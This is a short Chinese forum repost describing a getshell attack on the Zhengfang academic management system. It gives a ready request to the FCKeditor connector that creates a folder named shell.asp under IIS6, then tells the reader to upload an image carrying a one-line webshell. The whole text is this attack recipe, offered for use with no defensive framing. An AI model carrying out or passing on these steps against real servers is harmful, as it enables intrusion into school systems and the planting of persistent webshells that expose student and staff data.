转自：http://t00ls.net/viewthread.php?tid=19888&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000&page=1
比较鸡肋，利用IIS6解析，需支持asp。
很简单的一个问题，又是死在fckeditor编辑器上。
http://www.xxx.com/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Media&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
建立一文件夹shell.asp
构造一表单，上传图片一句话马
文章来源于lcx.cc:正方教务管理系统漏洞（getshell）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论